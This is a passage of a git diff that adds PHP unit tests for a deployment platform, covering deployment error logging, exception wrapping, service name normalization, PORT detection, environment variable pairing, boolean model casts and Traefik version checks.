+    $mockSettings->shouldReceive('setAttribute')
+        ->andReturnSelf();
+    $mockSettings->is_consistent_container_name_enabled = false;
+    $mockSettings->custom_internal_name = '';
+
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('settings')
+        ->andReturn($mockSettings);
+
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+    $job->shouldAllowMockingProtectedMethods();
+
+    $reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
+
+    $queueProperty = $reflection->getProperty('application_deployment_queue');
+    $queueProperty->setAccessible(true);
+    $queueProperty->setValue($job, $mockQueue);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, $mockApplication);
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 0);
+
+    $containerNameProperty = $reflection->getProperty('container_name');
+    $containerNameProperty->setAccessible(true);
+    $containerNameProperty->setValue($job, 'test-container');
+
+    $job->shouldReceive('failDeployment')->andReturn();
+    $job->shouldReceive('execute_remote_command')->andReturn();
+
+    $failedMethod = $reflection->getMethod('failed');
+    $failedMethod->setAccessible(true);
+    $failedMethod->invoke($job, $exception);
+
+    $errorMessages = array_column($logEntries, 'message');
+    $errorMessageString = implode("\n", $errorMessages);
+
+    // Should log "Unknown error occurred" for empty messages
+    expect($errorMessageString)->toContain('Unknown error occurred');
+    expect($errorMessageString)->toContain('Error type:');
+});
+
+it('wraps exceptions in deployment methods with DeploymentException', function () {
+    // Verify that our deployment methods wrap exceptions properly
+    $originalException = new \RuntimeException('Container not found');
+
+    try {
+        throw new DeploymentException('Failed to start container', 0, $originalException);
+    } catch (DeploymentException $e) {
+        expect($e->getMessage())->toBe('Failed to start container');
+        expect($e->getPrevious())->toBe($originalException);
+        expect($e->getPrevious()->getMessage())->toBe('Container not found');
+    }
+});
+
+it('logs error code 0 correctly', function () {
+    // Verify that error code 0 is logged (previously skipped due to falsy check)
+    $exception = new \Exception('Test error', 0);
+
+    $mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
+    $logEntries = [];
+
+    $mockQueue->shouldReceive('addLogEntry')
+        ->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
+            $logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
+
+            return true;
+        })
+        ->atLeast()->once();
+
+    $mockQueue->shouldReceive('update')->andReturn(true);
+
+    $mockApplication = Mockery::mock(Application::class);
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('build_pack')
+        ->andReturn('dockerfile');
+    $mockApplication->shouldReceive('setAttribute')
+        ->with('build_pack', 'dockerfile')
+        ->andReturnSelf();
+    $mockApplication->build_pack = 'dockerfile';
+
+    $mockSettings = Mockery::mock();
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('is_consistent_container_name_enabled')
+        ->andReturn(false);
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('custom_internal_name')
+        ->andReturn('');
+    $mockSettings->shouldReceive('setAttribute')
+        ->andReturnSelf();
+    $mockSettings->is_consistent_container_name_enabled = false;
+    $mockSettings->custom_internal_name = '';
+
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('settings')
+        ->andReturn($mockSettings);
+
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+    $job->shouldAllowMockingProtectedMethods();
+
+    $reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
+
+    $queueProperty = $reflection->getProperty('application_deployment_queue');
+    $queueProperty->setAccessible(true);
+    $queueProperty->setValue($job, $mockQueue);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, $mockApplication);
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 0);
+
+    $containerNameProperty = $reflection->getProperty('container_name');
+    $containerNameProperty->setAccessible(true);
+    $containerNameProperty->setValue($job, 'test-container');
+
+    $job->shouldReceive('failDeployment')->andReturn();
+    $job->shouldReceive('execute_remote_command')->andReturn();
+
+    $failedMethod = $reflection->getMethod('failed');
+    $failedMethod->setAccessible(true);
+    $failedMethod->invoke($job, $exception);
+
+    $errorMessages = array_column($logEntries, 'message');
+    $errorMessageString = implode("\n", $errorMessages);
+
+    // Should log error code 0 (not skip it)
+    expect($errorMessageString)->toContain('Error code: 0');
+});
+
+it('preserves original exception type in wrapped DeploymentException messages', function () {
+    // Verify that when wrapping exceptions, the original exception type is included in the message
+    $originalException = new \RuntimeException('Connection timeout');
+
+    // Test rolling update scenario
+    $wrappedException = new DeploymentException(
+        'Rolling update failed ('.get_class($originalException).'): '.$originalException->getMessage(),
+        $originalException->getCode(),
+        $originalException
+    );
+
+    expect($wrappedException->getMessage())->toContain('RuntimeException');
+    expect($wrappedException->getMessage())->toContain('Connection timeout');
+    expect($wrappedException->getPrevious())->toBe($originalException);
+
+    // Test health check scenario
+    $healthCheckException = new \InvalidArgumentException('Invalid health check URL');
+    $wrappedHealthCheck = new DeploymentException(
+        'Health check failed ('.get_class($healthCheckException).'): '.$healthCheckException->getMessage(),
+        $healthCheckException->getCode(),
+        $healthCheckException
+    );
+
+    expect($wrappedHealthCheck->getMessage())->toContain('InvalidArgumentException');
+    expect($wrappedHealthCheck->getMessage())->toContain('Invalid health check URL');
+    expect($wrappedHealthCheck->getPrevious())->toBe($healthCheckException);
+
+    // Test docker registry push scenario
+    $registryException = new \RuntimeException('Failed to authenticate');
+    $wrappedRegistry = new DeploymentException(
+        get_class($registryException).': '.$registryException->getMessage(),
+        $registryException->getCode(),
+        $registryException
+    );
+
+    expect($wrappedRegistry->getMessage())->toContain('RuntimeException');
+    expect($wrappedRegistry->getMessage())->toContain('Failed to authenticate');
+    expect($wrappedRegistry->getPrevious())->toBe($registryException);
+});
diff --git a/tests/Unit/ApplicationParserStringableTest.php b/tests/Unit/ApplicationParserStringableTest.php
new file mode 100644
index 000000000..dfb1870db
--- /dev/null
+++ b/tests/Unit/ApplicationParserStringableTest.php
@@ -0,0 +1,182 @@
+<?php
+
+/**
+ * Unit tests to verify that the applicationParser function in parsers.php
+ * properly converts Stringable objects to plain strings to fix strict
+ * comparison and collection key lookup issues.
+ *
+ * Related issue: Lines 539 and 541 in parsers.php were creating Stringable
+ * objects which caused:
+ * - Strict comparisons (===) to fail (line 606)
+ * - Collection key lookups to fail (line 615)
+ */
+it('ensures service name normalization returns plain strings not Stringable objects', function () {
+    // Test the exact transformations that happen in parsers.php lines 539-541
+
+    // Simulate what happens at line 520
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
+    $serviceName = $parsed['service_name']; // 'my-service'
+
+    // Line 539: $originalServiceName = str($serviceName)->replace('_', '-')->value();
+    $originalServiceName = str($serviceName)->replace('_', '-')->value();
+
+    // Line 541: $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    // Verify both are plain strings, not Stringable objects
+    expect(is_string($originalServiceName))->toBeTrue('$originalServiceName should be a plain string');
+    expect(is_string($serviceName))->toBeTrue('$serviceName should be a plain string');
+    expect($originalServiceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
+    expect($serviceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
+
+    // Verify the transformations work correctly
+    expect($originalServiceName)->toBe('my-service');
+    expect($serviceName)->toBe('my_service');
+});
+
+it('ensures strict comparison works with normalized service names', function () {
+    // This tests the fix for line 606 where strict comparison failed
+
+    // Simulate service name from docker-compose services array (line 604-605)
+    $serviceNameKey = 'my-service';
+    $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
+
+    // Simulate service name from environment variable parsing (line 520, 541)
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    // Line 606: if ($transformedServiceName === $serviceName)
+    // This MUST work - both should be plain strings and match
+    expect($transformedServiceName === $serviceName)->toBeTrue(
+        'Strict comparison should work when both are plain strings'
+    );
+    expect($transformedServiceName)->toBe($serviceName);
+});
+
+it('ensures collection key lookup works with normalized service names', function () {
+    // This tests the fix for line 615 where collection->get() failed
+
+    // Simulate service name normalization (line 541)
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_app-name');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    // Create a collection like $domains at line 614
+    $domains = collect([
+        'app_name' => [
+            'domain' => 'https://example.com',
+        ],
+    ]);
+
+    // Line 615: $domainExists = data_get($domains->get($serviceName), 'domain');
+    // This MUST work - $serviceName should be a plain string 'app_name'
+    $domainExists = data_get($domains->get($serviceName), 'domain');
+
+    expect($domainExists)->toBe('https://example.com', 'Collection lookup should find the domain');
+    expect($domainExists)->not->toBeNull('Collection lookup should not return null');
+});
+
+it('handles service names with dots correctly', function () {
+    // Test service names with dots (e.g., 'my.service')
+
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my.service');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    expect(is_string($serviceName))->toBeTrue();
+    expect($serviceName)->toBe('my_service');
+
+    // Verify it matches transformed service name from docker-compose
+    $serviceNameKey = 'my.service';
+    $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
+
+    expect($transformedServiceName === $serviceName)->toBeTrue();
+});
+
+it('handles service names with underscores correctly', function () {
+    // Test service names that already have underscores
+
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    expect(is_string($serviceName))->toBeTrue();
+    expect($serviceName)->toBe('my_service');
+});
+
+it('handles mixed special characters in service names', function () {
+    // Test service names with mix of dashes, dots, underscores
+
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-app.service_v2');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    expect(is_string($serviceName))->toBeTrue();
+    expect($serviceName)->toBe('my_app_service_v2');
+
+    // Verify collection operations work
+    $domains = collect([
+        'my_app_service_v2' => ['domain' => 'https://test.com'],
+    ]);
+
+    $found = $domains->get($serviceName);
+    expect($found)->not->toBeNull();
+    expect($found['domain'])->toBe('https://test.com');
+});
+
+it('ensures originalServiceName conversion works for FQDN generation', function () {
+    // Test line 539: $originalServiceName conversion
+
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
+    $serviceName = $parsed['service_name']; // 'my_service'
+
+    // Line 539: Convert underscores to dashes for FQDN generation
+    $originalServiceName = str($serviceName)->replace('_', '-')->value();
+
+    expect(is_string($originalServiceName))->toBeTrue();
+    expect($originalServiceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
+    expect($originalServiceName)->toBe('my-service');
+
+    // Verify it can be used in string interpolation (line 544)
+    $uuid = 'test-uuid';
+    $random = "$originalServiceName-$uuid";
+    expect($random)->toBe('my-service-test-uuid');
+});
+
+it('prevents duplicate domain entries in collection', function () {
+    // This tests that using plain strings prevents duplicate entries
+    // (one with Stringable key, one with string key)
+
+    $parsed = parseServiceEnvironmentVariable('SERVICE_URL_webapp');
+    $serviceName = $parsed['service_name'];
+    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+    $domains = collect();
+
+    // Add domain entry (line 621)
+    $domains->put($serviceName, [
+        'domain' => 'https://webapp.com',
+    ]);
+
+    // Try to lookup the domain (line 615)
+    $found = $domains->get($serviceName);
+
+    expect($found)->not->toBeNull('Should find the domain we just added');
+    expect($found['domain'])->toBe('https://webapp.com');
+
+    // Verify only one entry exists
+    expect($domains->count())->toBe(1);
+    expect($domains->has($serviceName))->toBeTrue();
+});
+
+it('verifies parsers.php has the ->value() calls', function () {
+    // Ensure the fix is actually in the code
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Line 539: Check originalServiceName conversion
+    expect($parsersFile)->toContain("str(\$serviceName)->replace('_', '-')->value()");
+
+    // Line 541: Check serviceName normalization
+    expect($parsersFile)->toContain("str(\$serviceName)->replace('-', '_')->replace('.', '_')->value()");
+});
diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php
new file mode 100644
index 000000000..1babdcf49
--- /dev/null
+++ b/tests/Unit/ApplicationPortDetectionTest.php
@@ -0,0 +1,156 @@
+<?php
+
+/**
+ * Unit tests for PORT environment variable detection feature.
+ *
+ * Tests verify that the Application model can correctly detect PORT environment
+ * variables and provide information to the UI about matches and mismatches with
+ * the configured ports_exposes field.
+ */
+
+use App\Models\Application;
+use App\Models\EnvironmentVariable;
+use Illuminate\Support\Collection;
+use Mockery;
+
+beforeEach(function () {
+    // Clean up Mockery after each test
+    Mockery::close();
+});
+
+it('detects PORT environment variable when present', function () {
+    // Create a mock Application instance
+    $application = Mockery::mock(Application::class)->makePartial();
+
+    // Mock environment variables collection with PORT set to 3000
+    $portEnvVar = Mockery::mock(EnvironmentVariable::class);
+    $portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('3000');
+
+    $envVars = new Collection([$portEnvVar]);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables')
+        ->andReturn($envVars);
+
+    // Mock the firstWhere method to return our PORT env var
+    $envVars = Mockery::mock(Collection::class);
+    $envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables')
+        ->andReturn($envVars);
+
+    // Call the method we're testing
+    $detectedPort = $application->detectPortFromEnvironment();
+
+    expect($detectedPort)->toBe(3000);
+});
+
+it('returns null when PORT environment variable is not set', function () {
+    $application = Mockery::mock(Application::class)->makePartial();
+
+    // Mock environment variables collection without PORT
+    $envVars = Mockery::mock(Collection::class);
+    $envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn(null);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables')
+        ->andReturn($envVars);
+
+    $detectedPort = $application->detectPortFromEnvironment();
+
+    expect($detectedPort)->toBeNull();
+});
+
+it('returns null when PORT value is not numeric', function () {
+    $application = Mockery::mock(Application::class)->makePartial();
+
+    // Mock environment variables with non-numeric PORT value
+    $portEnvVar = Mockery::mock(EnvironmentVariable::class);
+    $portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('invalid-port');
+
+    $envVars = Mockery::mock(Collection::class);
+    $envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables')
+        ->andReturn($envVars);
+
+    $detectedPort = $application->detectPortFromEnvironment();
+
+    expect($detectedPort)->toBeNull();
+});
+
+it('handles PORT value with whitespace', function () {
+    $application = Mockery::mock(Application::class)->makePartial();
+
+    // Mock environment variables with PORT value that has whitespace
+    $portEnvVar = Mockery::mock(EnvironmentVariable::class);
+    $portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('  8080  ');
+
+    $envVars = Mockery::mock(Collection::class);
+    $envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables')
+        ->andReturn($envVars);
+
+    $detectedPort = $application->detectPortFromEnvironment();
+
+    expect($detectedPort)->toBe(8080);
+});
+
+it('detects PORT from preview environment variables when isPreview is true', function () {
+    $application = Mockery::mock(Application::class)->makePartial();
+
+    // Mock preview environment variables with PORT
+    $portEnvVar = Mockery::mock(EnvironmentVariable::class);
+    $portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('4000');
+
+    $envVars = Mockery::mock(Collection::class);
+    $envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
+    $application->shouldReceive('getAttribute')
+        ->with('environment_variables_preview')
+        ->andReturn($envVars);
+
+    $detectedPort = $application->detectPortFromEnvironment(true);
+
+    expect($detectedPort)->toBe(4000);
+});
+
+it('verifies ports_exposes array conversion logic', function () {
+    // Test the logic that converts comma-separated ports to array
+    $portsExposesString = '3000,3001,8080';
+    $expectedArray = [3000, 3001, 8080];
+
+    // This simulates what portsExposesArray accessor does
+    $result = is_null($portsExposesString)
+        ? []
+        : explode(',', $portsExposesString);
+
+    // Convert to integers for comparison
+    $result = array_map('intval', $result);
+
+    expect($result)->toBe($expectedArray);
+});
+
+it('verifies PORT matches detection logic', function () {
+    $detectedPort = 3000;
+    $portsExposesArray = [3000, 3001];
+
+    $isMatch = in_array($detectedPort, $portsExposesArray);
+
+    expect($isMatch)->toBeTrue();
+});
+
+it('verifies PORT mismatch detection logic', function () {
+    $detectedPort = 8080;
+    $portsExposesArray = [3000, 3001];
+
+    $isMatch = in_array($detectedPort, $portsExposesArray);
+
+    expect($isMatch)->toBeFalse();
+});
+
+it('verifies empty ports_exposes detection logic', function () {
+    $portsExposesArray = [];
+
+    $isEmpty = empty($portsExposesArray);
+
+    expect($isEmpty)->toBeTrue();
+});
diff --git a/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php b/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
new file mode 100644
index 000000000..fe1a89443
--- /dev/null
+++ b/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
@@ -0,0 +1,190 @@
+<?php
+
+/**
+ * Unit tests to verify that Applications using Docker Compose handle
+ * SERVICE_URL and SERVICE_FQDN environment variables correctly.
+ *
+ * This ensures consistency with Service behavior where BOTH URL and FQDN
+ * pairs are always created together, regardless of which one is in the template.
+ */
+it('ensures parsers.php creates both URL and FQDN pairs for applications', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Check that the fix is in place
+    expect($parsersFile)->toContain('ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs');
+    expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
+    expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
+});
+
+it('extracts service name with case preservation for applications', function () {
+    // Simulate what the parser does for applications
+    $templateVar = 'SERVICE_URL_WORDPRESS';
+
+    $strKey = str($templateVar);
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+
+    if ($parsed['has_port']) {
+        $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+    } else {
+        $serviceName = $strKey->after('SERVICE_URL_')->value();
+    }
+
+    expect($serviceName)->toBe('WORDPRESS');
+    expect($parsed['service_name'])->toBe('wordpress'); // lowercase for internal use
+});
+
+it('handles port-specific application service variables', function () {
+    $templateVar = 'SERVICE_URL_APP_3000';
+
+    $strKey = str($templateVar);
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+
+    if ($parsed['has_port']) {
+        $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+    } else {
+        $serviceName = $strKey->after('SERVICE_URL_')->value();
+    }
+
+    expect($serviceName)->toBe('APP');
+    expect($parsed['port'])->toBe('3000');
+    expect($parsed['has_port'])->toBeTrue();
+});
+
+it('application should create 2 base variables when template has base SERVICE_URL', function () {
+    // Given: Template defines SERVICE_URL_WP
+    // Then: Should create both:
+    // 1. SERVICE_URL_WP
+    // 2. SERVICE_FQDN_WP
+
+    $templateVar = 'SERVICE_URL_WP';
+    $strKey = str($templateVar);
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+
+    $serviceName = $strKey->after('SERVICE_URL_')->value();
+
+    $urlKey = "SERVICE_URL_{$serviceName}";
+    $fqdnKey = "SERVICE_FQDN_{$serviceName}";
+
+    expect($urlKey)->toBe('SERVICE_URL_WP');
+    expect($fqdnKey)->toBe('SERVICE_FQDN_WP');
+    expect($parsed['has_port'])->toBeFalse();
+});
+
+it('application should create 4 variables when template has port-specific SERVICE_URL', function () {
+    // Given: Template defines SERVICE_URL_APP_8080
+    // Then: Should create all 4:
+    // 1. SERVICE_URL_APP (base)
+    // 2. SERVICE_FQDN_APP (base)
+    // 3. SERVICE_URL_APP_8080 (port-specific)
+    // 4. SERVICE_FQDN_APP_8080 (port-specific)
+
+    $templateVar = 'SERVICE_URL_APP_8080';
+    $strKey = str($templateVar);
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+
+    $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+    $port = $parsed['port'];
+
+    $baseUrlKey = "SERVICE_URL_{$serviceName}";
+    $baseFqdnKey = "SERVICE_FQDN_{$serviceName}";
+    $portUrlKey = "SERVICE_URL_{$serviceName}_{$port}";
+    $portFqdnKey = "SERVICE_FQDN_{$serviceName}_{$port}";
+
+    expect($baseUrlKey)->toBe('SERVICE_URL_APP');
+    expect($baseFqdnKey)->toBe('SERVICE_FQDN_APP');
+    expect($portUrlKey)->toBe('SERVICE_URL_APP_8080');
+    expect($portFqdnKey)->toBe('SERVICE_FQDN_APP_8080');
+});
+
+it('application should create pairs when template has only SERVICE_FQDN', function () {
+    // Given: Template defines SERVICE_FQDN_DB
+    // Then: Should create both:
+    // 1. SERVICE_FQDN_DB
+    // 2. SERVICE_URL_DB (created automatically)
+
+    $templateVar = 'SERVICE_FQDN_DB';
+    $strKey = str($templateVar);
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+
+    $serviceName = $strKey->after('SERVICE_FQDN_')->value();
+
+    $urlKey = "SERVICE_URL_{$serviceName}";
+    $fqdnKey = "SERVICE_FQDN_{$serviceName}";
+
+    expect($fqdnKey)->toBe('SERVICE_FQDN_DB');
+    expect($urlKey)->toBe('SERVICE_URL_DB');
+    expect($parsed['has_port'])->toBeFalse();
+});
+
+it('verifies application deletion nulls both URL and FQDN', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Check that deletion handles both types
+    expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceNameFormatted}');
+    expect($parsersFile)->toContain('SERVICE_URL_{$serviceNameFormatted}');
+
+    // Both should be set to null when domain is empty
+    expect($parsersFile)->toContain('\'value\' => null');
+});
+
+it('handles abbreviated service names in applications', function () {
+    // Applications can have abbreviated names in compose files just like services
+    $templateVar = 'SERVICE_URL_WP'; // WordPress abbreviated
+
+    $strKey = str($templateVar);
+    $serviceName = $strKey->after('SERVICE_URL_')->value();
+
+    expect($serviceName)->toBe('WP');
+    expect($serviceName)->not->toBe('WORDPRESS');
+});
+
+it('application compose parsing creates pairs regardless of template type', function () {
+    // Test that whether template uses SERVICE_URL or SERVICE_FQDN,
+    // the parser creates both
+
+    $testCases = [
+        'SERVICE_URL_APP' => ['base' => 'APP', 'port' => null],
+        'SERVICE_FQDN_APP' => ['base' => 'APP', 'port' => null],
+        'SERVICE_URL_APP_3000' => ['base' => 'APP', 'port' => '3000'],
+        'SERVICE_FQDN_APP_3000' => ['base' => 'APP', 'port' => '3000'],
+    ];
+
+    foreach ($testCases as $templateVar => $expected) {
+        $strKey = str($templateVar);
+        $parsed = parseServiceEnvironmentVariable($templateVar);
+
+        if ($parsed['has_port']) {
+            if ($strKey->startsWith('SERVICE_URL_')) {
+                $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+            } else {
+                $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
+            }
+        } else {
+            if ($strKey->startsWith('SERVICE_URL_')) {
+                $serviceName = $strKey->after('SERVICE_URL_')->value();
+            } else {
+                $serviceName = $strKey->after('SERVICE_FQDN_')->value();
+            }
+        }
+
+        expect($serviceName)->toBe($expected['base'], "Failed for $templateVar");
+        expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $templateVar");
+    }
+});
+
+it('verifies both application and service use same logic', function () {
+    $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Both should have the same pattern of creating pairs
+    expect($servicesFile)->toContain('ALWAYS create base pair');
+    expect($parsersFile)->toContain('ALWAYS create BOTH');
+
+    // Both should create SERVICE_URL_
+    expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
+    expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
+
+    // Both should create SERVICE_FQDN_
+    expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
+    expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
+});
diff --git a/tests/Unit/ApplicationSettingStaticCastTest.php b/tests/Unit/ApplicationSettingStaticCastTest.php
new file mode 100644
index 000000000..35ab7faaf
--- /dev/null
+++ b/tests/Unit/ApplicationSettingStaticCastTest.php
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * Tests for ApplicationSetting model boolean casting
+ *
+ * NOTE: These tests verify that the is_static field properly casts to boolean.
+ * The fix changes $cast to $casts to enable proper Laravel boolean casting.
+ */
+
+use App\Models\ApplicationSetting;
+
+it('casts is_static to boolean when true', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = true;
+
+    // Verify it's cast to boolean
+    expect($setting->is_static)->toBeTrue()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('casts is_static to boolean when false', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = false;
+
+    // Verify it's cast to boolean
+    expect($setting->is_static)->toBeFalse()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('casts is_static from string "1" to boolean true', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = '1';
+
+    // Should cast string to boolean
+    expect($setting->is_static)->toBeTrue()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('casts is_static from string "0" to boolean false', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = '0';
+
+    // Should cast string to boolean
+    expect($setting->is_static)->toBeFalse()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('casts is_static from integer 1 to boolean true', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = 1;
+
+    // Should cast integer to boolean
+    expect($setting->is_static)->toBeTrue()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('casts is_static from integer 0 to boolean false', function () {
+    $setting = new ApplicationSetting;
+    $setting->is_static = 0;
+
+    // Should cast integer to boolean
+    expect($setting->is_static)->toBeFalse()
+        ->and($setting->is_static)->toBeBool();
+});
+
+it('has casts array property defined correctly', function () {
+    $setting = new ApplicationSetting;
+
+    // Verify the casts property exists and is configured
+    $casts = $setting->getCasts();
+
+    expect($casts)->toHaveKey('is_static')
+        ->and($casts['is_static'])->toBe('boolean');
+});
+
+it('casts all boolean fields correctly', function () {
+    $setting = new ApplicationSetting;
+
+    // Get all casts
+    $casts = $setting->getCasts();
+
+    // Verify all expected boolean fields are cast
+    $expectedBooleanCasts = [
+        'is_static',
+        'is_spa',
+        'is_build_server_enabled',
+        'is_preserve_repository_enabled',
+        'is_container_label_escape_enabled',
+        'is_container_label_readonly_enabled',
+        'use_build_secrets',
+        'is_auto_deploy_enabled',
+        'is_force_https_enabled',
+        'is_debug_enabled',
+        'is_preview_deployments_enabled',
+        'is_pr_deployments_public_enabled',
+        'is_git_submodules_enabled',
+        'is_git_lfs_enabled',
+        'is_git_shallow_clone_enabled',
+    ];
+
+    foreach ($expectedBooleanCasts as $field) {
+        expect($casts)->toHaveKey($field)
+            ->and($casts[$field])->toBe('boolean');
+    }
+});
diff --git a/tests/Unit/CheckTraefikVersionForServerJobTest.php b/tests/Unit/CheckTraefikVersionForServerJobTest.php
new file mode 100644
index 000000000..5da6f97d8
--- /dev/null
+++ b/tests/Unit/CheckTraefikVersionForServerJobTest.php
@@ -0,0 +1,141 @@
+<?php
+
+use App\Jobs\CheckTraefikVersionForServerJob;
+use App\Models\Server;
+
+beforeEach(function () {
+    $this->traefikVersions = [
+        'v3.5' => '3.5.6',
+        'v3.6' => '3.6.2',
+    ];
+});
+
+it('has correct queue and retry configuration', function () {
+    $server = \Mockery::mock(Server::class)->makePartial();
+    $job = new CheckTraefikVersionForServerJob($server, $this->traefikVersions);
+
+    expect($job->tries)->toBe(3);
+    expect($job->timeout)->toBe(60);
+    expect($job->server)->toBe($server);
+    expect($job->traefikVersions)->toBe($this->traefikVersions);
+});
+
+it('parses version strings correctly', function () {
+    $version = 'v3.5.0';
+    $current = ltrim($version, 'v');
+
+    expect($current)->toBe('3.5.0');
+
+    preg_match('/^(\d+\.\d+)\.(\d+)$/', $current, $matches);
+
+    expect($matches[1])->toBe('3.5'); // branch
+    expect($matches[2])->toBe('0'); // patch
+});
+
+it('compares versions correctly for patch updates', function () {
+    $current = '3.5.0';
+    $latest = '3.5.6';
+
+    $isOutdated = version_compare($current, $latest, '<');
+
+    expect($isOutdated)->toBeTrue();
+});
+
+it('compares versions correctly for minor upgrades', function () {
+    $current = '3.5.6';
+    $latest = '3.6.2';
+
+    $isOutdated = version_compare($current, $latest, '<');
+
+    expect($isOutdated)->toBeTrue();
+});
+
+it('identifies up-to-date versions', function () {
+    $current = '3.6.2';
+    $latest = '3.6.2';
+
+    $isUpToDate = version_compare($current, $latest, '=');
+
+    expect($isUpToDate)->toBeTrue();
+});
+
+it('identifies newer branch from version map', function () {
+    $versions = [
+        'v3.5' => '3.5.6',
+        'v3.6' => '3.6.2',
+        'v3.7' => '3.7.0',
+    ];
+
+    $currentBranch = '3.5';
+    $newestVersion = null;
+
+    foreach ($versions as $branch => $version) {
+        $branchNum = ltrim($branch, 'v');
+        if (version_compare($branchNum, $currentBranch, '>')) {
+            if (! $newestVersion || version_compare($version, $newestVersion, '>')) {
